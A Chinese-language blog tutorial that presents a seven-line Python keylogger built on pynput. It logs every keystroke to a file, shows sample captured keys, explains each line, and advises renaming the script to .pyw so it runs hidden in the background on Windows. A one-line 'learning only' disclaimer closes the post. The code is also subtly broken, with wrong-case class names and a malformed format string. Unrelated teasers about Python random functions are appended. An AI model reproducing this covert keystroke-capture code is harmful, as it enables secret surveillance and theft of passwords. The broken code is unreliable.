超級簡單,在 Python 中用 7 行程式碼建立乙個鍵盤記錄器

Mondo 科技 更新 2024-01-29

鍵盤記錄器用於捕獲計算機鍵盤輸入的擊鍵。 我們將使用 python 構建乙個鍵盤記錄器。

我聽說現在很流行完全更改鍵盤記錄器**

from pynput.keyboard import key, listener

import logging

logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")

def on_press(key):

logging.info(str(key))

with listener(on_press=on_press) as listener :

listener.join()

程式執行後,將在當前目錄中建立乙個新的檔案鍵盤日誌txt。鍵盤的鍵盤記錄記錄在檔案中。 下面是乙個示例:

2023-12-13 08:21:04,213 - 'a'

2023-12-13 08:21:04,400 - 'b'

2023-12-13 08:21:04,650 - 'c'

2023-12-13 08:21:06,134 - key.enter

在開始之前,我們需要安裝乙個特定的庫 pynput,這是乙個跨平台的第三方 python 庫,可以監聽和操作滑鼠和鍵盤,我們可以使用 pip 命令來做到這一點pip install pynput

from pynput.keyboard import key, listener

import logging

匯入所需的模組。 日誌記錄模組可以幫助我們非常靈活地記錄資訊。

logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")

配置日誌記錄引數。 指定將擊鍵日誌記錄儲存到鍵盤日誌中txt,指定儲存格式:yy-mm-dd hh-mm-ss(ms) -key

def on_press(key):

logging.info(str(key))

自定義函式接受使用者按下的鍵,並在將其轉換為字串後將其記錄到檔案中。

with listener(on_press=on_press) as listener :

listener.join()

建立偵聽器的例項,記錄擊鍵,並將自定義函式作為引數傳遞。 用join() 方法。 每次按下某個鍵時,都會觸發偵聽器,呼叫自定義函式,並將擊鍵記錄到檔案中。

在 Windows 上,只需將檔案副檔名新增到 .py 重新命名為 .pyw,然後雙擊該檔案在後台執行,而不彈出 python 終端。

我們編寫了乙個簡短有效的python鍵盤記錄器來記錄擊鍵,目的是學習習 python,請不要將其用於惡意目的。

建立文章並不容易,如果您喜歡這篇文章,請關注、點讚並與您的朋友分享。 如果您有意見和建議,請在評論中給我們反饋。

相關問題答案

    Python中choices函式的用法 選項與隨機性的完美結合

    在 Python 中,choices 函式是乙個非常有用的工具,它允許我們從給定的選項列表中隨機選擇乙個元素。本文將深入介紹選擇函式的使用,包括其基本概念 使用場景 引數分析以及實際應用。秋冬入住挑戰 通過本文的習,讀者將能夠熟練使用選擇函式,並在程式設計中充分利用它。基本概念。choices 函式...

    揭開 Python 中隨機函式的技巧,幫助您成為程式設計大師!

    在 Python 中使用 shuffle 函式在 Python 中,shuffle 函式是一種用於隨機加擾序列的方法。它可以用於字串 列表等可迭代物件,而不是返回乙個新物件,而是直接對原始物件進行無序操作。shuffle 函式是 random 模組中的乙個方法,因此在使用之前需要匯入 random ...

    Python 中 choices 函式的用法

    在編寫Python程式時,經常需要進行隨機選擇操作,以增加程式的靈活性和隨機性。Python 提供了乙個強大的選擇函式,可以幫助我們實現各種不同型別的隨機選擇。python 中的 choices 函式是 random 模組中的乙個函式,用於從給定序列中進行隨機選擇。具體基本用法如下 import r...

    Python 中格式函式的用法

    在 Python 程式設計中,格式化輸出是一項非常重要的操作,可以使資料更加直觀和易於理解。Python 中的 format 函式是實現格式化輸出的主要方法之一。它可以將變數插入到字串中,並以某種格式排列和顯示它們。基本用法 最基本的用法是使用位置引數。在字串 中使用大括號來指示需要插入變數的位置,...

    Python 中示例函式的用法

    在 Python 中,sample 函式用於從指定的事件空間中隨機選擇指定數量的樣本。它通常用於統計學 機器科學 習等領域,在處理資料集時特別有用。下面是如何使用示例函式的示例 python import numpy as np 建立乙個包含 個元素的一維陣列。data np.array ,,,,,...